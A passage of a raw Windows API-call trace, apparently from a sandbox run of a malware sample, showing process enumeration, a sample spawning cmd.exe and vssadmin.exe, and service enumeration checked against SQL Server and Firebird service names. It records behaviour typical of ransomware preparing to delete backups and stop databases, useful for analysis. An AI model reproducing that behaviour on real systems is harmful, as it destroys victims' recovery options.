lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.034] lstrlenW (lpString="audiodg.exe") returned 11 [0044.034] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.034] lstrlenW (lpString="svchost.exe") returned 11 [0044.034] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.035] lstrlenW (lpString="svchost.exe") returned 11 [0044.035] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.035] lstrlenW (lpString="dwm.exe") returned 7 [0044.035] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.036] lstrlenW (lpString="explorer.exe") returned 12 [0044.036] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.037] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.037] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.037] lstrlenW (lpString="taskhost.exe") returned 12 [0044.037] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.038] lstrlenW (lpString="svchost.exe") returned 11 [0044.038] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.038] lstrlenW (lpString="taskeng.exe") returned 11 [0044.038] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.039] lstrlenW (lpString="taskhost.exe") returned 12 [0044.039] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0044.039] lstrlenW (lpString="promotesrouting.exe") returned 19 [0044.039] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0044.040] lstrlenW (lpString="rxcalled.exe") returned 12 [0044.040] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0044.040] lstrlenW (lpString="off.exe") returned 7 [0044.040] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0044.041] lstrlenW (lpString="mayorintl.exe") returned 13 [0044.041] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0044.041] lstrlenW (lpString="gzip-june.exe") returned 13 [0044.041] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0044.042] lstrlenW (lpString="lsnavy.exe") returned 10 [0044.042] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0044.042] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0044.042] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0044.043] lstrlenW (lpString="specifications.exe") returned 18 [0044.043] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0044.043] lstrlenW (lpString="soup-mario.exe") returned 14 [0044.044] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0044.044] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0044.044] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0044.044] lstrlenW (lpString="platformsprivate.exe") returned 20 [0044.045] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0044.045] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0044.045] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0044.046] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0044.046] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0044.046] lstrlenW (lpString="scan-allows.exe") returned 15 [0044.046] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0044.047] lstrlenW (lpString="mwprovince.exe") returned 14 [0044.047] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0044.047] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0044.047] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0044.048] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0044.048] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0044.048] lstrlenW (lpString="contacting.exe") returned 14 [0044.048] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0044.049] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0044.049] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0044.049] lstrlenW (lpString="jpmanagers.exe") returned 14 [0044.049] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0044.310] lstrlenW (lpString="motor.exe") returned 9 [0044.460] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0044.461] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0044.461] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0044.461] lstrlenW (lpString="toshiba.exe") returned 11 [0044.462] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.462] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.462] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0044.463] lstrlenW (lpString="mobsync.exe") returned 11 [0044.463] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0044.463] lstrlenW (lpString="dllhost.exe") returned 11 [0044.463] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0044.464] lstrlenW (lpString="dllhost.exe") returned 11 [0044.464] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0044.464] lstrlenW (lpString="3G6885.exe") returned 10 [0044.464] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.465] lstrlenW (lpString="cmd.exe") returned 7 [0044.465] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.465] lstrlenW (lpString="conhost.exe") returned 11 [0044.465] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0044.466] lstrlenW (lpString="vssadmin.exe") returned 12 [0044.466] Process32NextW (in: hSnapshot=0x1b0, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0044.466] CloseHandle (hObject=0x1b0) returned 1 [0044.466] Sleep (dwMilliseconds=0x1f4) [0045.168] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640058 [0045.168] EnumServicesStatusExW (in: hSCManager=0x640058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0045.168] GetLastError () returned 0xea [0045.168] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x11e4) returned 0x36b4738 [0045.169] EnumServicesStatusExW (in: hSCManager=0x640058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b4738, cbBufSize=0x11e4, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b4738, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0045.169] CloseServiceHandle (hSCObject=0x640058) returned 1 [0045.169] lstrlenW (lpString="Appinfo") returned 7 [0045.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.170] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.170] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.170] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.170] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.170] lstrlenW (lpString="AudioSrv") returned 8 [0045.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.170] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.170] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.170] lstrlenW (lpString="BFE") returned 3 [0045.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.170] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.170] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.170] lstrlenW (lpString="CryptSvc") returned 8 [0045.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.170] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.170] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.170] lstrlenW (lpString="CscService") returned 10 [0045.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.170] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.170] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.170] lstrlenW (lpString="DcomLaunch") returned 10 [0045.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.171] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.171] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.171] lstrlenW (lpString="Dhcp") returned 4 [0045.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.171] lstrlenW (lpString="Dnscache") returned 8 [0045.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.171] lstrlenW (lpString="DPS") returned 3 [0045.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.171] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.171] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.171] lstrlenW (lpString="eventlog") returned 8 [0045.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.171] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.171] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.171] lstrlenW (lpString="EventSystem") returned 11 [0045.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.172] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.172] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.172] lstrlenW (lpString="gpsvc") returned 5 [0045.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.172] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.172] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.172] lstrlenW (lpString="iphlpsvc") returned 8 [0045.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.172] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.172] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.172] lstrlenW (lpString="LanmanServer") returned 12 [0045.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.172] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.172] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.172] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.172] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.172] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.172] lstrlenW (lpString="lmhosts") returned 7 [0045.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.172] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.172] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.173] lstrlenW (lpString="MMCSS") returned 5 [0045.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.173] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.173] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.173] lstrlenW (lpString="MpsSvc") returned 6 [0045.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.173] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.173] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.173] lstrlenW (lpString="Netman") returned 6 [0045.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.173] lstrlenW (lpString="netprofm") returned 8 [0045.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.174] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.174] lstrcmpiW (lpString1="mssqlserver", 